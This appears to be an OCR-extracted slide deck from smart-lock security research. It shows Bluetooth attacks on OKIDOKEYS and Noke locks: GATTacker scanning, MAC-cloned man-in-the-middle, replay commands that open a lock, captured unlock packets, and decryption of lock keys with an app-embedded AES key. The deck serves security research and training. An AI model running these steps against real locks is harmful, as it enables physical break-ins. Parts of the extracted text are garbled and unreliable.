{"EREORS":[], "EREOR_MSG":null, 'LOGGED_USER':{"USER_ID":"_25256524230164890", "FIRSTNAME":"Snart", "LASTNAME":"Lockpicking", 'NOBILE_CC":null, "MOBILE":nu 11, 'EMALL":'okidokeys@smartlockpicking.com', "PINCODE":132; "PICTURE": 'https:\/\/portal.tox=smartlock.de\/inq\/T0X\/people\/people-1.png", '_DOUBLE_FAC TOR":false, 'BOLES":[{"ROLE":1, 'SITE_ID':"_25256524230164889", "SITE_NAME": "Snart"}, {"ROLE":3, "SITE_ID": '_25256524230164889', "SITE_NAME": "Snart"}, {"ROLE":3, "SITE_ID": '_25256524230164889', "SITE_NAME": "Snart"}, {"ROLE":25256524230164889', "SITE_NAME": "Snart", {"STE_ID": '_25256524230164889', "SITE_NAME": "Snart", {"STE_ID": '_25256524230164889', "SITE_NAME": "Snart", {"SNART"}, {"ROLE":254, "SITE_ID": '_25256524230164889', "SITE_NAME": "Snart", {"SNART"}, {"SNART", {"SNART"}, {"ROLE":254, "SITE_ID": '_25256524230164889', "SITE_NAME": "Snart", {"SNART"}, {"ROLE":254, "SITE_ID": '_25256524230164889', "SITE_NAME": "Snart", "SITE_DOORS':[{"DUTCE_UID": '_25256524230164889', "SITE_NAME": "Snart", "SITE_DOORS':[{"DUTCE_UID": '_25256524230164889', "SITE_NAME": "SNART", "SITE_DOORS':[{"DUTCE_UID": '_25256524230164889', "SITE_NAME": "SNART", "SITE_DOORS':[{"DUTCE_UID": '_25256524230164889', "SITE_NAME": "SNART", "CUMTOR_T2": "Europe\/Berlin", "ACTUATOR_CC":"DE", "ACTUATOR_T2_OFSET:1, "DUTCE_OCSN': "094D03972C3N818B', "ACTUATOR_NAME': "SNART", "ACTUATOR_STATUS':0, "ACTUATOR_PLOTURE": "NUL, "ACTUATOR_STATUS':0, "ACTUATOR_PLOTURE": "Lock, 'ACTUATOR_CC":"DE", "ACTUATOR_T2_OFSET:7200, "ACTUATOR_GROUP_NAME': "Lock, "ACTUATOR_READER": NUL, "ACTUATOR_STATUS':0, "ACTUATOR_PLOTURE": "https:\///portal.tox-snartl

22:06:36"}], "OFFLINE_LOCK_KEYS': [{'BIN': "SCoyyBfYH025DxojB#jC1KYJG8Bi', "MP3": '\//NRxAATQIa0H08YAin7JIFerler1er2d+r04hiGIYyVU5Kwc4RoATBMDo2HisVkRCri3 B0HR0BB2XB9+UBB0Tg+mUBAENuH/5cF6q0zn+"p05\/u\/9Py4fF5020Ym8rwg3hPhwYD3\/80LEDhqq8r0BmtqACEqRq5pjjCl0qdH05vH0jTGFyS0fFTqw1D0HJzEyIfPh#aAGwPcTBjz





#### Emulate the server!

I have created my own server 🙂

<u>https://smartlockpicking.com/tutorial/my-smart-lock-</u> <u>vendor-disappeared/</u>

https://github.com/smartlockpicking/okidokeys-api/





### TBD: proprietary key generation algorithm

This can't be anything complex, I suspect AES + XOR.

Example keys on Github:

https://github.com/smartlockpicking/okidokeys-api/





#### We have the server back, let's hack the lock!

root@kali:~/node_modules/gattacker# node scan.js

Ws-slave address: 10.5.5.129

on open

poweredOn

Start scanning.

peripheral discovered (d03972c3a81e with address <d0:39:72:c3:a8:1e, public>, connectable true, RSSI -61:

```
Name: D03972C3A81E!
```

EIR: 0201060302f0ff16084430333937324333413831452100000000000000000 ( D03972C3A81E! )

Scan response: 130944303339373243334138314521000000000005122800800c020a000000 (
D03972C3A81E! ( )

advertisement saved: devices/d03972c3a81e_D03972C3A81E-.adv.json





#### Scan the services

root@kali:~/node modules/gattacker# node scan.js d03972c3a81e Ws-slave address: 10.5.5.129 on open poweredOn Start exploring d03972c3a81e Start to explore d03972c3a81e explore state: d03972c3a81e : start explore state: d03972c3a81e : finished Services file devices/d03972c3a81e.srv.json saved!





### Set up MITM

# ./mac_adv -a
devices/d03972c3a81e_D03972C3A81E-.adv.json





Advertise with cloned MAC address Manufacturer: Cambridge Silicon Radio (10) Device address: 00:1A:7D:DA:71:11 New BD address: D0:39:72:C3:A8:1E
Address changed - Reset device now Re-plug the interface and hit enter
Current MAC: D0:39:72:C3:A8:1E Ws-slave address: 10.9.8.181 peripheralid: d03972c3a81e advertisement file: devices/d03972c3a81e_D03972C3A81Eadv.json EIR: 0201060302f0ff16084430333937324333413831452100000000000000000 scanResponse: 13094430333937324333413831452100000000005122800800c020a000000 BLENO - on -> stateChange: poweredOn on open
poweredun Noble MAC address : b8:27:eb:4c:88:3d
initialized !
Static - start advertising
on -> advertisingStart: success
setServices: success
<<<<<<> INITIALIZED >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Client connected: 68:ab:87:4d:e0:54
>> Subscribe: fff0 -> fff2
>> Subscribe: fff0 -> fff3
>> Write: fff0 -> fff1 : <mark>93483cfbf009e2ed0916e59b78d72293c0a75894</mark> ( H<
d03972c3a81e:fff0 confirmed subscription state: fff2
d03972c3a81e:fff0 confirmed subscription state: fff2
<< Notify: fff0 -> fff3 : 30251483000011f810680002032003e800000203 (0% h )
<< Notify: fff0 -> fff2 : e10400000000000000000000000000000000000
>> Write: fff0 -> fff1 : 425989 (BY )
<< Notity: fff0 -> fff2 : e101000000000000000000000000000000000
<< NOTITY: TTTO -> TTTZ : C414000002000000000000000000000000000000
>> WIILE: III0 -> IIII : ELUL ( )
<pre>&lt;&lt; Wotify: fff0 &gt; fff2 : 2026140200001118106800020320032800000203 (0%</pre>
Client disconnected: $68:ab:87:4d:e0:54$











### Damien Cauquil, Hack.lu 2015

## ENCRYPT- WHAT ?

Luckily, when it comes to send keys, everything is encrypted

Application data is 20-byte long (with 1-byte operation code)

48 B9 38 57 69 BE 31 12 61 61 6E 40 AD AF 37 7B 3E F6 1E 55 C3

Uh, wait, what cipher is that to produce 20 bytes of encrypted data ?

http://cybergibbons.com/lock/









93483cfbf009e2ed0916e59b78d72293c0a75894

425989

Received from server API as single-use key

93483cfbf009e2ed0916e59b78d72293c0a75894 425989





### Authentication – trying to guess packet structure

#### 93 **48 3cfbf009** e2ed0916e59b78d72293c0a75894 42 5989

Headers: 93: first packet 42: final Opcode, key type (lock/unlock), ... ??? This might be interesting...

AES(?) key? (16 bytes)

https://en.wikipedia.org/wiki/42_(number)#The_Hitchhiker.27s_Guide_to_the_Galaxy





### Damien Cauquil again

# LET'S FUZZ A BIT ...

- No idea of what the data is
- Starting to fuzz one byte at a time from a valid key ...
- ... and the lock eventually opened !





### The same: Anthony Rose one year later

* Change 3rd byte to 0x00



Valid Command



Modified Command



[26/44]

https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEFCON-24-Rose-Ramsey-Picking-Bluetooth-Low-Energy-Locks.pdf





### GATTacker dump

< C	fff0	fff1	93485b3252e01d407aaede4c52039e8da54421aa	( H[	2R	@z	LR	D! )
> N	fff0	fff3	3029165e000011f810680002032003e800000203	(0)	^	h		)
> N	fff0	fff2	e10400000000000000000000000000000000000	(				)
< C	fff0	fff1	<b>421c69</b> (B i)					
> N	fff0	fff2	e1010000000000000000000000000000000000	(				)
> N	fff0	fff2	c414000002000000000000000000000000000000	(				)
< C	fff0	fff1	e101 ( )					
> N	fff0	fff3	3029165e000011f810680002032003e800000203	(0)	^	h		)
> N	fff0	fff3	302a1669000011f810680002032003e800000203	(0*	i	h		)





#### GATTacker dump - replay



#### **Replay:**

# node replay -i dump/replay.log -p d03972c3a81e -s devices/d03972c3a81e.srv.json
(...)
initialized !
WRITE CMD: 9348003252e01d407aaede4c52039e8da54421aa
WRITE CMD: 421c69





### You need to reset it to factory

Lock opens and goes into maintenance, original owner has "your keys are outdated"

Resetting is a very painful process.

And you can do it only from the inside of the door.





### More vulns of this lock:

- Unauthenticated log access
- Denial of Service

Damien Cauqil / @virtualabs

https://cybergibbons.com/lock/



#### SMARTLOCKPICKING.COM



## Lock #7



A Universal-International Picture

In Armina partial for incapar and Repairs apparent for incapar and repairs apparently Ary ofer on building observe, Futigies!" Stored in 2.2.4

https://www.flickr.com/photos/morbius19/9768119233





#### Noke



## No Key No Problem

A smart lock to eliminate the hassle of keys and combinations forever. Compatible with iOS, Android, and Windows Phone.





#### Gattacker – scan, intercept..

#### ./mac_adv -a devices/f1a3120d25fd



### Dump the packets opening lock

>>	Subscrib	e: 1bc500010200d29ee511446c609db8	25 -> 1bc500030200d29ee511446c609db825	
	f1a3120d	25fd:1bc500010200d29ee511446c609d	0825 confirmed subscription state: 1bc500030200d29ee511446c609db825	
>>	Write:	1bc500010200d29ee511446c609db825	-> 1bc500020200d29ee511446c609db825 : b01cbda0bca6dfbedcef338e1635472b (	3 5G+)
<<	Notify:	1bc500010200d29ee511446c609db825	-> 1bc500030200d29ee511446c609db825 : 85d244e824345b039020659e4e9f4d8b00 ( D \$	64[ eNM
>>	Write:	1bc500010200d29ee511446c609db825	-> 1bc500020200d29ee511446c609db825 : 2f9935bde7ef72196506c0c0c5f91765 (/ 5 )	ree)
<<	Notify:	1bc500010200d29ee511446c609db825	-> 1bc500030200d29ee511446c609db825 : 40090c48dccfc49dcc55313a7f919a7f00 (@ H	U1:
>>	Write:	1bc500010200d29ee511446c609db825	-> 1bc500020200d29ee511446c609db825 : b01cbda0bca6dfbedcef338e1635472b (	3 5G+)
<<	Notify:	1bc500010200d29ee511446c609db825	-> 1bc500030200d29ee511446c609db825 : 08bcb47fc072252903964a9214f1b1ef00 (	r%) J
>>	Write:	1bc500010200d29ee511446c609db825	-> 1bc500020200d29ee511446c609db825 : adc1b1060da37181ccf99c445036dc0b (	; DP6 )
<<	Notify:	1bc500010200d29ee511446c609db825	-> 1bc500030200d29ee511446c609db825 : 2calea6a3ee855cf69d0444880df8ad400 (, j>	>∪iDH

tardet	device	discon	hected

>>	Subscrib	e: 1bc5000	10200d29ee	e511446c609db	825	-> 1bc500030200d2	9ee511446c609db	825											
	f1a31200	25fd:1bc50	0010200d29	9ee511446c609	db82	25 confirmed subso	ription state:	1bc	50003020	0d29ee	9511440	6c609d	b825						
>>	Write:	1bc5000102	00d29ee511	1446c609db825	->	1bc500020200d29ee	511446c609db825	:	b01cbda0	bca6df	bedce	f338e1	635472b	(		3	5G	+)	
<<	Notify:	1bc5000102	00d29ee511	1446c609db825	->	1bc500030200d29ee	511446c609db825	:	9a2b6824	4d2704	f8c45	ec0c3c	d0fcc34	90 (	+h\$№		^	4	)
>>	Write:	1bc5000102	00d29ee511	1446c609db825	->	1bc500020200d29ee	511446c609db825	:	2d67c860	cf41e1	bb377	684394	084bfba	(-g	`Α	7v	90	)	
<<	Notify:	1bc5000102	00d29ee511	1446c609db825	->	1bc500030200d29ee	511446c609db825	:	81dffda0	e73e34	d837a	094c46	0e95698	90		>4 7		V	)
>>	Write:	1bc5000102	00d29ee511	1446c609db825	->	1bc500020200d29ee	511446c609db825	:	b01cbda0	bca6df	bedce	f338e1	635472b	(		3	5G	+)	
<<	Notify:	1bc5000102	00d29ee511	1446c609db825	->	1bc500030200d29ee	511446c609db825	:	b1ed172c	d12cf8	9a4ad	55c45d	1e02868	90 (	,	, J	λΕ	(h	)
>>	Write:	1bc5000102	00d29ee511	1446c609db825	->	1bc500020200d29ee	511446c609db825	:	22ec6e69	f4946b	8d1dc	6044eb	15789f4	("n	i k		V W	)	
<<	Notify:	1bc5000102	00d29ee511	1446c609db825	->	1bc500030200d29ee	511446c609db825	:	48ac f83c	00adb6	ca3f3	0f3847	502b5c4	90 (H	<	?	9 u		)
<<	Notify:	1bc5000102	00d29ee511	1446c609db825	->	1bc500030200d29ee	511446c609db825	:	48ac f83c	00adb6	ca3f3	0f3847	502b5c4	90 (H	<	?	9 u	/	





#### AES shared key encoded in app



https://media.ccc.de/v/33c3-8019-lockpicking in the iot






















The commands AES-decrypted

7e0801000000087cd2200000000000 7e080265911ce07acd22000000000000 7e04088a911ce07acd22000000000000 7e060900ca57e07acd2200000000000 7e0a06d4f3506848cd22000000000000 7e040789f3506848cd22000000000000





## The commands AES-decrypted

7e08010000000087cd2200000000000 7e080265911ce07acd22000000000000 7e04088a911ce07acd22000000000000 7e060900ca57e07acd2200000000000 7e0a06d4f3506848cd22000000000000 7e040789f3506848cd22000000000000





#### **Command codes**

+ + android.support	1	NokeBluetoothService.class ⊠														
🛨 🖶 android	l i	int setupState = 0:														
🗄 🖶 daimajia.slider.library		<pre>public byte[] stateAeskey = {</pre>	{0.	1.	2.3	. 4.	5.	6.7	. 8.	9.	10.	11.	12.	13.	14. 3	15 }:
🗆 🕀 fuzdesians.noke		public String tempFobMac:	,	-,	-, -	,	-,	-, .	, -,	-,	,	,	,	,	, .	,
🕀 🖶 db		int timeout = 0;														
🗄 🗄 objects		<pre>private lockItem tmpLock;</pre>														
		• • •														
DeviceScanActivity class		static														
t 🖟 GemintentService class	Θ	{														
MokeBackgroundService class		REKEY = 4;														
NokeBluetoothService class		UNLOCK = $6;$														
		GETBATTERY = 8;														
		SETQUICKCODE = 10;														
t h AppController class		RESETLOCK = $12;$														
T A Build Config class		FIRMWAREUPDATE = 14;														
DetailsSlidingTablexout class		ENABLEPAIRFOB = 16;														
		PAIR-OB = 18;														
Manifest class		GETLOGS = 20;														
🙂 🎯 Manifest.class		REMOVEFOB = 23;														
MIVLOCKSACTIVITY.CLASS		GETUNETIMEQU = 25;														
Im INATIVeCodeInterface.class		FORMULE = 28;														
		ENARIEEORS - 22														
W Sliding Labert Class		ENABLEFOBS = 32;														
🗄 🔟 Sliding LabStrip class		ENABLEONETTINEQC = $34$ ;														
🗄 🌐 getbase.floatingactionbutton		REMOVEEOBCODE = 38														
🗄 🌐 google.android.gms		SETEOBCODE = $40$ :														
🗄 🌐 nineoldandroids		GETLOCKSEROMEOB = 42														
🗄 🌐 soundcloud.android.crop		GETFOBCODES = 45:														
🗄 🖽 squareup.picasso		REMOVELOCKEROMEOR = 48														





#### **Command codes**

7e0801000000087cd2200000000000 7e080265911ce07acd22000000000000 7e04088a911ce07acd22000000000000 7e060900ca57e07acd2200000000000 7e0a06d4f3506848cd22000000000000 7e040789f3506848cd22000000000000





#### Unlock code (06)

## 

Lock key





#### decodenoke python script

https://github.com/Endres/decodenoke

# takes raw hex transmitted data, decodes AES, then interprets command IDs and shows key





Gattacker dump -> input to script

#!/bin/bash

cat f1a3120d25fd.log | cut -d"|" -f 5 |cut d" " -f 2 > f1a3120d25fd.txt





#### Run decodenoke

```
# python decodenoke.py f1a3120d25fd.txt
(...)
== packet 7 ==
b'7e0a06d4f3506848cd220000000000000'
type: UNLOCK (6)
data: b'd4f3506848cd'
description: data contains lock key
```

```
== packet 8 ==
b'7e040789f3506848cd22000000000000'
type: UNLOCKREPLY (7)
data: b''
description: no data expected
```





#### Another vulnerability – access sharing

Basics	Hardware 00000000	Electronics 000000	Backend Communication	BTLE Snitting 00000000000	App Hacking 000000000000000	The End	
Noke Shar	edlocks						
	sharedlock { "a "d "d "s "s "ti "e "e "lo "lo "lo "n "n	ks": [ Ilday": " utounlock aysofthewe tartday": tarttime" mezone": ndday": "2 ndtime": ockid": "2 ockid": "2 ockkey": ockname": ac": "ED:1 nline": "	1", ": "0", eek ": "0000000" "2016-03-22", " 09:00:00", "Europe / Berlin 016-03-23", 17:00:00", 52280", DFA314C91FE2", "friends lock" D:06:A2:C3:1E"	", ", ,			
Ray Lockpicking in the IoT							2202
1.1	• 🕘	,	- <b>b</b> *	d	•		EM ROF SKROW

















## This hack is brought to you by:

Ray & co.

https://streaming.media.ccc.de/33c3/relive/8019





## Let's hope "2nd Gen" is more secure...

			,				
	0-DAY SCORING & PRIZI	ES					
	Devices for 0-DAY TRACK						
Device		Sof	twa	re/F	irmwa	re Ve	rsion
CUJO Smart Internet Security Fire	wall						
Synology RT2600ac Router		v. Sl	RM	1.1.1	-6414	1 Upd	late 1
TrackR							
Nokē Padlock - 2nd Gen							
FitBark: Activity tracking for your	pet						

https://www.sohopelesslybroken.com/contests.php#0day





# HACKMELOCK





#### Hackmelock again







#### **Open-source**

#### https://smartlockpicking.com/hackmelock

#### Sources:

https://github.com/smartlockpicking/hackmelock-device/

https://github.com/smartlockpicking/hackmelock-android/





#### Install

#### **Emulated device:**

#### \$ npm install hackmelock

Android app:



https://play.google.com/store/apps/details?id=com.smartlockpicking.hackmelock





#### **Run emulator**

\$ node peripheral
advertising...





#### In configuration mode, it advertises iBeacon

#### Major/Minor=1

			* ▼⊿ 🗎 :	23:22
=	Devic	es	STOP SCANNING	:
SCA	NNER	BONDED	ADVERTISER	
No fil	ter			-
	N/A (iBe D0:39:72:1 NOT BONI Type: UNK Flags: Ger Beacon da Company: Type: Bea Length of UUID: 683 Major: 1 Minor: 1 RSSI at 1r	eacon) B7:AD:88 DED <b>-</b> 37 KNOWN heralDiscoverab ata: Apple, Inc. <0x0 con <0x02> data: 21 bytes 4636b-6d33-4c3 n: -59 dBm	CONNECT dBm ↔ 22 ms le, BrEdrNotSupported 004C> 30-634b-38454163304e	:

CLONE RAW MORE





## Pairing

¥ ▼⊿	ABOUT	* 🔽 🖬 21:30 Scan	< <b>(</b>	X 23:19 DISCONNECT	(g)	X 21:27
	Found hackme D0:39:72:B7:AD	lock MAC: D:88	Device address: I Connected Pairin	D0:39:72:B7:AD:88 ng - Major:21276 Minor:58263	Device address: D0:39:7 Connected authenticate	72:B7:AD:88
Setup new lock						
I have QR code						>
< 0 □	$\triangleleft$	0	$\triangleleft$	0	< <	





#### After pairing emulator stores config.txt

```
$ node peripheral.js
advertising...
Client 4a:00:e9:88:16:63 connected!
Status read request:
 Initialization mode!
initializing... 0 531ce397
initializing... 1 325d18fe1481151073dc4d4a
initializing... 2 7ca71db0196bda712131dc57
(...)
Config loaded - iBeaconMajor: 21276 iBeaconMinor: 58263
```





#### Main functions: lock, unlock, sync data







## Sharing access







 $\bigtriangledown$ 





### Hackmelock challenges

- Cleartext key transmission during certain operations
- Backdoor
- PRNG problem
- Logic flaw with keys
- Command injection
- ... and more!





#### More information

https://smartlockpicking.com/hackmelock

Soon more tips and descriptions





#### Some details, whitepaper, videos...

# GATTack.io **OUTSMART THE THINGS**





#### Want to learn more?

## https://smartlockpicking.com

## Events: trainings, workshops, ... Soon: more articles, tutorials, ...





#### Want to learn more?

14/15.11.2017 – Deepsec, Vienna



I SECURITY CONFERENCE FUROPE

https://deepsec.net/register.html

Smart Lockpicking - Hands-on Exploiting Contemporary Locks and Access Control Systems (2 day training)

More fun with: NFC (cloning cards, hacking hotel systems), proprietary protocols, biometric readers, gsm alarms, home automation systems, linux embedded devices, ...

On-demand, dedicated training/workshop? info@smartlockpicking.com





#### Feedback?

#### Would love to hear some feedback from you!

slawomir.jasek@smartlockpicking.com

Twitter: @slawekja